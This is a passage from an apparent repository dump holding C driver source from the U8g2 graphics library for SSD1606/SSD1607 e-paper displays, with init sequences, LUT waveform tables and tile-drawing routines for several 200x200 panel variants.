active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 22,\t\t/* 22*8 = 176 */\n  /* tile_height = */ 9,\t\t/* 9*8 = 72 */\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 172,\n  /* pixel_height = */ 72\t\t\n};\n\nuint8_t u8x8_d_ssd1606_172x72(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1606_172x72_display_info);\n      return 1;\n    }\n    return u8x8_d_ssd1606_172x72_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1607_200x200.c",
    "content": "/*\n\n  u8x8_d_ssd1607_200x200.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  SSD1607: 200x300x1\n  \n  command \n    0x22: assign actions\n    0x20: execute actions\n  \n  action for command 0x022 are (more or less guessed)\n    bit 7:\tEnable Clock\n    bit 6:\tEnable Charge Pump\n    bit 5:\tLoad Temparture Value (???)\n    bit 4:\tLoad LUT (???)\n    bit 3:\tInitial Display (???)\n    bit 2:\tPattern Display --> Requires about 945ms with the LUT from below\n    bit 1:\tDisable Charge Pump\n    bit 0:\tDisable Clock\n    \n    Disable Charge Pump and Clock require about 267ms\n    Enable Charge Pump and Clock require about 10ms\n\n  Notes:\n    - Introduced a refresh display message, which copies RAM to display\n    - Charge pump and clock are only enabled for the transfer RAM to display\n    - U8x8 will not really work because of the two buffers in the SSD1606, however U8g2 should be ok.\n\n*/\n\n\n#include \"u8x8.h\"\n\n/*=================================================*/\n\nstatic const u8x8_display_info_t u8x8_ssd1607_200x200_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* values from SSD1606 */\n  /* post_chip_enable_wait_ns = */ 120,\n  /* pre_chip_disable_wait_ns = */ 60,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1606: */\n  /* sck_pulse_width_ns = */ 100,\t/* SSD1606: 100ns */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 25,\t\t/* 25*8 = 200 */\n  /* tile_height = */ 25,\t\t\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 200,\n  /* pixel_height = */ 200\t\t\n};\n\n\nstatic const uint8_t u8x8_d_ssd1607_200x200_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x22, 0xc0),\t\t\t/* enable clock and charge pump */\n  U8X8_C(0x20),\t\t\t\t/* execute sequence */  \n  U8X8_DLY(200),\t\t\t\t/* according to my measures it may take up to 150ms */\n  U8X8_DLY(100),\t\t\t\t/* but it might take longer */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1607_200x200_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  /* disable clock and charge pump only, deep sleep is not entered, because we will loose RAM content */\n  U8X8_CA(0x22, 0x02),\t\t\t/* only disable charge pump, HW reset seems to be required if the clock is disabled */\n  U8X8_C(0x20),\t\t\t\t/* execute sequence */  \n  U8X8_DLY(20),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1607_200x200_exec_1000dly_seq[] = {\n  // assumes, that the start transfer has happend\n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic void u8x8_d_ssd1607_200x200_first_init(u8x8_t *u8x8)\n{\n      u8x8_ClearDisplay(u8x8);\n  \n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x032);\t\t// program update sequence\n      u8x8_cad_SendMultipleArg(u8x8, 8, 0x055);\t\t// all black\n      u8x8_cad_SendMultipleArg(u8x8, 12, 0x0aa);\t\t// all white\n      u8x8_cad_SendMultipleArg(u8x8, 10, 0x022);\t\t// 830ms\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_exec_1000dly_seq);\n  \n}\n\nstatic uint8_t *u8x8_convert_tile_for_ssd1607(uint8_t *t)\n{\n  uint8_t i;\n  static uint8_t buf[8];\n  uint8_t *pbuf = buf;\n\n  for( i = 0; i < 8; i++ )\n  {\n    *pbuf++ = ~(*t++);\n  }\n  return buf;\n}\n\nstatic void u8x8_d_ssd1607_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE;\nstatic void u8x8_d_ssd1607_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr)\n{\n  uint16_t x;\n  uint8_t c, page;\n  uint8_t *ptr;\n  u8x8_cad_StartTransfer(u8x8);\n\n  page = u8x8->display_info->tile_height;\n  page --;\n  page -= (((u8x8_tile_t *)arg_ptr)->y_pos);\n  \n  x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n  x *= 8;\n  x += u8x8->x_offset;\n  \n  \n\n  u8x8_cad_SendCmd(u8x8, 0x045 );\t/* window start column */\n  u8x8_cad_SendArg(u8x8, x&255);\n  u8x8_cad_SendArg(u8x8, x>>8);\n  u8x8_cad_SendArg(u8x8, 199);\t\t/* end of display */\n  u8x8_cad_SendArg(u8x8, 0);\n\n  u8x8_cad_SendCmd(u8x8, 0x044 );\t/* window end page */\n  u8x8_cad_SendArg(u8x8, page);\n  u8x8_cad_SendArg(u8x8, page);\n\n  u8x8_cad_SendCmd(u8x8, 0x04f );\t/* window column */\n  u8x8_cad_SendArg(u8x8, x&255);\n  u8x8_cad_SendArg(u8x8, x>>8);\n\n  u8x8_cad_SendCmd(u8x8, 0x04e );\t/* window row */\n  u8x8_cad_SendArg(u8x8, page);\n\n  u8x8_cad_SendCmd(u8x8, 0x024 );\n  \n  do\n  {\n    c = ((u8x8_tile_t *)arg_ptr)->cnt;\n    ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n    do\n    {\n      u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_ssd1607(ptr));\n      ptr += 8;\n      x += 8;\n      c--;\n    } while( c > 0 );\n    \n    arg_int--;\n  } while( arg_int > 0 );\n  \n  u8x8_cad_EndTransfer(u8x8);\n}\n\n\n\n/*=================================================*/\n\n\n#define L(a,b,c,d) (((a)<<6)|((b)<<4)|((c)<<2)|(d))\n\n\n/* https://github.com/embeddedadventures/SSD1607/blob/master/SSD1607.cpp */\nstatic const uint8_t u8x8_d_ssd1607_200x200_init_seq[] = {    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  //U8X8_CA(0x10, 0x00),\t/* Deep Sleep mode Control: Disable */\n  U8X8_C(0x01),\n  U8X8_A(199),U8X8_A(0),U8X8_A(0),\n  \n  \n  U8X8_CA(0x03, 0x00), \t/* Gate Driving voltage: 15V (lowest value)*/\n  U8X8_CA(0x04, 0x0a), \t/* Source Driving voltage: 15V (mid value and POR)*/\n  \n  U8X8_CA(0x0f, 0x00),\t\t/* scan start ? */\n  \n  U8X8_CA(0xf0, 0x1f),\t/* set booster feedback to internal */\n\n  U8X8_CA(0x2c, 0xa8),\t/* write vcom value*/\n  U8X8_CA(0x3a, 0x1a),\t/* dummy lines */\n  U8X8_CA(0x3b, 0x08),\t/* gate time */\n  U8X8_CA(0x3c, 0x33),\t/* select boarder waveform */\n  \n  U8X8_CA(0x11, 0x03),\t\t/* cursor increment mode */\n  U8X8_CAA(0x44, 0, 24),\t/* RAM x start & end, each byte has 8 pixel, 25*4=200 */\n  U8X8_CAAAA(0x45, 0, 0, 299&255, 299>>8),\t/* RAM y start & end, 0..299 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1607_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x32),\t/* write LUT register*/\n\n  \n  /* according to the command table, the lut has 240 bits (=30 bytes * 8 bits) */\n  \n  /* Waveform part of the LUT (20 bytes) */\n  /* bit 7/6: 1 - 1 transition */\n  /* bit 5/4: 1 - 0 transition */\n  /* bit 3/2: 0 - 1 transition */\n  /* bit 1/0: 0 - 0 transition */\n  /* \t00 – VSS */\n  /* \t01 – VSH */\n  /* \t10 – VSL */\n  /* \t11 – NA */\n  \n  /* original values */\n  /*\n  U8X8_A(0x02),\n  U8X8_A(0x02),\n  U8X8_A(0x01),\n  U8X8_A(0x11),\n  U8X8_A(0x12),\n  U8X8_A(0x12),\n  U8X8_A(0x22),\n  U8X8_A(0x22),\n  U8X8_A(0x66),\n  U8X8_A(0x69),\n  U8X8_A(0x69),\n  U8X8_A(0x59),\n  U8X8_A(0x58),\n  U8X8_A(0x99),\n  U8X8_A(0x99),\n  U8X8_A(0x88),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  */\n  \n  /* original values, L-macro */\n  U8X8_A(L(0,0,0,2)), // 0x02\n  U8X8_A(L(0,0,0,2)), // 0x02\n  U8X8_A(L(0,0,0,1)), // 0x01\n  U8X8_A(L(0,1,0,1)), // 0x11\n  U8X8_A(L(0,1,0,2)), // 0x12\n  U8X8_A(L(0,1,0,2)), // 0x12\n  U8X8_A(L(0,2,0,2)), // 0x22\n  U8X8_A(L(0,2,0,2)), // 0x22\n  U8X8_A(L(1,2,1,2)), // 0x66\n  U8X8_A(L(1,2,2,1)), // 0x69\n  U8X8_A(L(1,2,2,1)), // 0x69\n  U8X8_A(L(1,1,2,1)), // 0x59\n  U8X8_A(L(1,1,2,0)), // 0x58\n  U8X8_A(L(2,1,2,1)), // 0x99\n  U8X8_A(L(2,1,2,1)), // 0x99\n  U8X8_A(L(2,0,2,0)), // 0x88\n  U8X8_A(L(0,0,0,0)), // 0x00\n  U8X8_A(L(0,0,0,0)), // 0x00\n  U8X8_A(L(0,0,0,0)), // 0x00\n  U8X8_A(L(0,0,0,0)), // 0x00\n\n\n  /* orginal values without 0-0 and 1-1 transition */\n  /*\n  U8X8_A(L(3,0,0,3)), // 0x02\n  U8X8_A(L(3,0,0,3)), // 0x02\n  U8X8_A(L(3,0,0,3)), // 0x01\n  U8X8_A(L(3,1,0,3)), // 0x11\n  U8X8_A(L(3,1,0,3)), // 0x12\n  U8X8_A(L(3,1,0,3)), // 0x12\n  U8X8_A(L(3,2,0,3)), // 0x22\n  U8X8_A(L(3,2,0,3)), // 0x22\n  U8X8_A(L(3,2,1,3)), // 0x66\n  U8X8_A(L(3,2,2,3)), // 0x69\n  U8X8_A(L(3,2,2,3)), // 0x69\n  U8X8_A(L(3,1,2,3)), // 0x59\n  U8X8_A(L(3,1,2,3)), // 0x58\n  U8X8_A(L(3,1,2,3)), // 0x99\n  U8X8_A(L(3,1,2,3)), // 0x99\n  U8X8_A(L(3,0,2,3)), // 0x88\n  U8X8_A(L(3,0,0,3)), // 0x00\n  U8X8_A(L(3,0,0,3)), // 0x00\n  U8X8_A(L(3,0,0,3)), // 0x00\n  U8X8_A(L(3,0,0,3)), // 0x00\n  */\n  \n  \n  /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */\n  U8X8_A(0xF8),\n  U8X8_A(0xB4),\n  U8X8_A(0x13),\n  U8X8_A(0x51),\n  U8X8_A(0x35),\n  U8X8_A(0x51),\n  U8X8_A(0x51),\n  U8X8_A(0x19),\n  U8X8_A(0x01),\n  U8X8_A(0x00),\n  \n  \n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  U8X8_DLY(250),\t/* the sequence above requires about 1200ms for the 200x200 display*/\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1607_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_init_seq);    \n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      u8x8_d_ssd1607_200x200_first_init(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_to_display_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=================================================*/\n/* there is no improvement possible... so i consider the v2 version as obsolete */\n\n\nstatic const uint8_t u8x8_d_ssd1607_v2_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  /*\n0xaa, 0x09, 0x09, 0x19, 0x19, \n0x11, 0x11, 0x11, 0x11, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \n\n0x75, 0x77, 0x77, 0x77, 0x07, \n0x00, 0x00, 0x00, 0x00, 0x00\nmeasured 1240 ms with IL3830 196x128\n  \n  \n0x02, 0x02, 0x01, 0x11, 0x12, \n0x12, 0x12, 0x22, 0x22, 0x66, \n0x69, 0x59, 0x58, 0x99, 0x99, \n0x88, 0x00, 0x00, 0x00, 0x00, \n\n0xf8, 0xb4, 0x13, 0x51, 0x35, \n0x51, 0x51, 0xe9, 0x04, 0x00\n  \n*/\n\n  U8X8_C(0x32),\t/* write LUT register*/\n\n  /* https://github.com/olikraus/u8g2/issues/347 */\n  U8X8_A(0x02),\n  U8X8_A(0x02),\n  U8X8_A(0x01),\n  U8X8_A(0x11),\n  U8X8_A(0x12),\n  U8X8_A(0x12),\n  U8X8_A(0x22),\n  U8X8_A(0x22),\n  U8X8_A(0x66),\n  U8X8_A(0x69),\n  U8X8_A(0x69),\n  U8X8_A(0x59),\n  U8X8_A(0x58),\n  U8X8_A(0x99),\n  U8X8_A(0x99),\n  \n  U8X8_A(0x88),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  U8X8_A(0x00),\n  \n  /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */\n  U8X8_A(0xF8),\n  U8X8_A(0xB4),\n  U8X8_A(0x13),\n  U8X8_A(0x51),\n  U8X8_A(0x35),\n  \n  U8X8_A(0x51),\n  U8X8_A(0x51),\n  U8X8_A(0xe9),\n  U8X8_A(0x04),\n  U8X8_A(0x00),\n  \n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  \n  U8X8_DLY(250),\t/* delay for 1500ms. The current sequence takes 1300ms */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  \n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1607_v2_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_init_seq);    \n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      u8x8_d_ssd1607_200x200_first_init(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_v2_to_display_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=================================================*/\n/* GDEP015OC1 */\n/* https://github.com/olikraus/u8g2/issues/454 */\n\n\nstatic const uint8_t u8x8_d_ssd1607_gd_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  /*\n0xaa, 0x09, 0x09, 0x19, 0x19, \n0x11, 0x11, 0x11, 0x11, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, \n\n0x75, 0x77, 0x77, 0x77, 0x07, \n0x00, 0x00, 0x00, 0x00, 0x00\nmeasured 1240 ms with IL3830 196x128\n  \n  \n0x02, 0x02, 0x01, 0x11, 0x12, \n0x12, 0x12, 0x22, 0x22, 0x66, \n0x69, 0x59, 0x58, 0x99, 0x99, \n0x88, 0x00, 0x00, 0x00, 0x00, \n\n0xf8, 0xb4, 0x13, 0x51, 0x35, \n0x51, 0x51, 0xe9, 0x04, 0x00\n  \n*/\n\n  U8X8_C(0x32),\t/* write LUT register*/\n\n/*\n  U8X8_A(0x50), U8X8_A(0xAA), U8X8_A(0x55), U8X8_A(0xAA), U8X8_A(0x11), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  \n  U8X8_A(0xFF), U8X8_A(0xFF), U8X8_A(0x1F), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n*/\n  U8X8_A(0x10), U8X8_A(0x18), U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x18),   // numbers based on Waveshare demo code\n  U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  \n  U8X8_A(0x13), U8X8_A(0x14), U8X8_A(0x44), U8X8_A(0x12), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00),\n\n  U8X8_CA(0x22, 0xc4),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  \n  U8X8_DLY(250),\t/* delay for 1500ms. The current sequence takes 1300ms */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n//  U8X8_DLY(250),\n  \n//  U8X8_DLY(250),\n//  U8X8_DLY(250),\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1607_gd_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_init_seq);    \n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      u8x8_d_ssd1607_200x200_first_init(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_gd_to_display_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n/*=================================================*/\n\nstatic const uint8_t u8x8_d_ssd1607_ws_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n\n  U8X8_C(0x32),\t/* write LUT register*/\n\n  U8X8_A(0x10), U8X8_A(0x18), U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x18),   // numbers based on Waveshare demo code\n  U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), \n  \n  U8X8_A(0x13), U8X8_A(0x14), U8X8_A(0x44), U8X8_A(0x12), U8X8_A(0x00), \n  U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00),\n\n  U8X8_CA(0x22, 0xc4),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  \n  U8X8_DLY(250),\t/* delay for 1250ms.  */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1607_ws_to_refresh_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n\n  U8X8_CA(0x22, 0x04),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  \n//  U8X8_DLY(250),\n//  U8X8_DLY(250),\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/* waveshare 200x200 */\nstatic const uint8_t u8x8_d_ssd1607_ws_200x200_init_seq[] = {    \n  // suggested code from https://github.com/olikraus/u8g2/issues/637\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n \n  U8X8_C(0x01), /* DRIVER_OUTPUT_CONTROL: LO(EPD_HEIGHT-1), HI(EPD_HEIGHT-1). GD = 0; SM = 0; TB = 0; */\n  U8X8_A(199),U8X8_A(0),U8X8_A(0),\n  \n  U8X8_C(0x0C), /* BOOSTER_SOFT_START_CONTROL */\n  U8X8_A(0xd7),U8X8_A(0xd6),U8X8_A(0x9d),\n  \n  U8X8_CA(0x2c, 0xa8), /* WRITE_VCOM_REGISTER: VCOM 7C */\n  U8X8_CA(0x3a, 0x1a), /* SET_DUMMY_LINE_PERIOD: 4 dummy lines per gate */\n  U8X8_CA(0x3b, 0x08), /* SET_GATE_TIME: 2us per line */\n  U8X8_CA(0x11, 0x03), /* DATA_ENTRY_MODE_SETTING: X increment; Y increment */\n  U8X8_CAA(0x44, 0, 24), /* SET_RAM_X_ADDRESS_START_END_POSITION: LO(x >> 3), LO((w-1) >> 3) */\n  U8X8_CAAAA(0x45, 0, 0, 199&255, 199>>8), /* SET_RAM_Y_ADDRESS_START_END_POSITION: LO(y), HI(y), LO(h - 1), HI(h - 1) */\n  U8X8_CA(0x4e, 0), /* LO(x >> 3) */\n  U8X8_CAA(0x4f, 0, 0), /* LO(y), HI(y >> 8) */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */  \n  \n};\n\n\nuint8_t u8x8_d_ssd1607_ws_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_ws_200x200_init_seq);    \n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      u8x8_d_ssd1607_200x200_first_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_ws_to_display_seq);; // to setup LUT\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_ws_to_refresh_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7511.c",
